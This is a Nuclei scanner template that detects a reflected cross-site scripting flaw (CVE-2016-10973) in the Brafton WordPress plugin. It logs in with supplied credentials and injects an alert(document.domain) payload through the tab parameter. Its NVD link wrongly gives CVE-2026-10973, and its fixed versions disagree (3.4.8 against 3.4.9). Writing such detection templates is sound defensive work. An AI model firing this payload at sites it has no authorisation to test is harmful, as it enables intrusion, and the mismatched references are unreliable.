nuclei-templates/http/cves/2016/CVE-2016-10973.yaml

id: CVE-2016-10973

info:
  name: Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.
  remediation: |
    Upgrade to the latest version of the Brafton WordPress Plugin (version 3.4.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/93568433-0b63-4ea7-bbac-4323d3ee0abd
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-10973
    cwe-id: CWE-79
    epss-score: 0.00177
    epss-percentile: 0.54825
    cpe: cpe:2.3:a:brafton:brafton:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: brafton
    product: brafton
    framework: wordpress
  tags: wpscan,cve,cve2016,wordpress,wp,wp-plugin,xss,brafton,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "tab = alert(document.domain);")'
          - 'contains(body_2, "Brafton Article Loader")'
        condition: and
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